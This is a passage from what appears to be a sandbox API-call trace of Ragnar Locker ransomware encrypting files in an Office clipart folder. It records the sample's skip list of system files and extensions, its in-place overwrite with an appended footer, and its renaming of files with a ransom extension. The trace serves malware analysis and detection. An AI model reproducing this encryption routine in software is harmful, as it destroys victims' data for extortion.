ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1 [0087.272] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.272] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285792.WMF" | out: lpString1="J0285792.WMF") returned="J0285792.WMF" [0087.272] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF") returned=".WMF" [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="autorun.inf") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="boot.ini") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="bootfont.bin") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="bootsect.bak") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="bootmgr") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="bootmgr.efi") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="bootmgfw.efi") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="desktop.ini") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="iconcache.db") returned 1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="ntldr") returned -1 [0087.272] lstrcmpiW (lpString1="J0285792.WMF", lpString2="ntuser.dat") returned -1 [0087.273] lstrcmpiW (lpString1="J0285792.WMF", lpString2="ntuser.dat.log") returned -1 [0087.273] lstrcmpiW (lpString1="J0285792.WMF", lpString2="ntuser.ini") returned -1 [0087.273] lstrcmpiW (lpString1="J0285792.WMF", lpString2="thumbs.db") returned -1 [0087.273] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.273] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.273] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.273] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.273] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.273] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.273] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf")) returned 0x20 [0087.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.273] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11956) returned 1 [0087.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2eab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.273] GetProcessHeap () returned 0x580000 [0087.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.273] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.275] VirtualAlloc (lpAddress=0x0, dwSize=0x2eb4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.275] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2eb4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2eb4, lpOverlapped=0x0) returned 1 [0087.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.276] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2eb4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.276] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2eb4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2eb4, lpOverlapped=0x0) returned 1 [0087.277] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2eb4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.277] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.277] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.277] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.277] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.277] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.277] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.277] GetProcessHeap () returned 0x580000 [0087.277] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.277] CloseHandle (hObject=0xf4) returned 1 [0087.277] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" [0087.278] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.ragnar_FD7BD9FC" [0087.278] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.278] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1 [0087.278] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.278] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285796.WMF" | out: lpString1="J0285796.WMF") returned="J0285796.WMF" [0087.278] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF") returned=".WMF" [0087.278] lstrcmpiW (lpString1="J0285796.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.278] lstrcmpiW (lpString1="J0285796.WMF", lpString2="autorun.inf") returned 1 [0087.278] lstrcmpiW (lpString1="J0285796.WMF", lpString2="boot.ini") returned 1 [0087.278] lstrcmpiW (lpString1="J0285796.WMF", lpString2="bootfont.bin") returned 1 [0087.278] lstrcmpiW (lpString1="J0285796.WMF", lpString2="bootsect.bak") returned 1 [0087.278] lstrcmpiW (lpString1="J0285796.WMF", lpString2="bootmgr") returned 1 [0087.278] lstrcmpiW (lpString1="J0285796.WMF", lpString2="bootmgr.efi") returned 1 [0087.278] lstrcmpiW (lpString1="J0285796.WMF", lpString2="bootmgfw.efi") returned 1 [0087.279] lstrcmpiW (lpString1="J0285796.WMF", lpString2="desktop.ini") returned 1 [0087.279] lstrcmpiW (lpString1="J0285796.WMF", lpString2="iconcache.db") returned 1 [0087.279] lstrcmpiW (lpString1="J0285796.WMF", lpString2="ntldr") returned -1 [0087.279] lstrcmpiW (lpString1="J0285796.WMF", lpString2="ntuser.dat") returned -1 [0087.279] lstrcmpiW (lpString1="J0285796.WMF", lpString2="ntuser.dat.log") returned -1 [0087.279] lstrcmpiW (lpString1="J0285796.WMF", lpString2="ntuser.ini") returned -1 [0087.279] lstrcmpiW (lpString1="J0285796.WMF", lpString2="thumbs.db") returned -1 [0087.279] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.279] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.279] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.279] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.279] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.279] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.279] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf")) returned 0x20 [0087.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.279] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13648) returned 1 [0087.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3547, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.279] GetProcessHeap () returned 0x580000 [0087.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.279] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.281] VirtualAlloc (lpAddress=0x0, dwSize=0x3550, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.281] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3550, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3550, lpOverlapped=0x0) returned 1 [0087.282] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.282] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3550, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.282] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3550, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3550, lpOverlapped=0x0) returned 1 [0087.282] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3550, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.282] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3550, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.283] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.283] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.283] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.283] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.283] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.283] GetProcessHeap () returned 0x580000 [0087.283] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.283] CloseHandle (hObject=0xf4) returned 1 [0087.283] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" [0087.283] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.ragnar_FD7BD9FC" [0087.283] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.284] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1 [0087.284] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.284] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285808.WMF" | out: lpString1="J0285808.WMF") returned="J0285808.WMF" [0087.284] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF") returned=".WMF" [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="autorun.inf") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="boot.ini") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="bootfont.bin") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="bootsect.bak") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="bootmgr") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="bootmgr.efi") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="bootmgfw.efi") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="desktop.ini") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="iconcache.db") returned 1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="ntldr") returned -1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="ntuser.dat") returned -1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="ntuser.dat.log") returned -1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="ntuser.ini") returned -1 [0087.284] lstrcmpiW (lpString1="J0285808.WMF", lpString2="thumbs.db") returned -1 [0087.284] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.284] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.284] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.285] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.285] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.285] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.285] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf")) returned 0x20 [0087.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.286] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9204) returned 1 [0087.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.286] GetProcessHeap () returned 0x580000 [0087.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.286] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.287] VirtualAlloc (lpAddress=0x0, dwSize=0x23f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.287] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.287] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x23f4, lpOverlapped=0x0) returned 1 [0087.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.288] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.288] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x23f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x23f4, lpOverlapped=0x0) returned 1 [0087.289] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.289] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.289] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.289] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.289] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.289] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.289] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.289] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.289] GetProcessHeap () returned 0x580000 [0087.289] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.289] CloseHandle (hObject=0xf4) returned 1 [0087.289] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" [0087.289] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.ragnar_FD7BD9FC" [0087.289] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.290] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1 [0087.290] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.290] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285820.WMF" | out: lpString1="J0285820.WMF") returned="J0285820.WMF" [0087.290] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF") returned=".WMF" [0087.290] lstrcmpiW (lpString1="J0285820.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.290] lstrcmpiW (lpString1="J0285820.WMF", 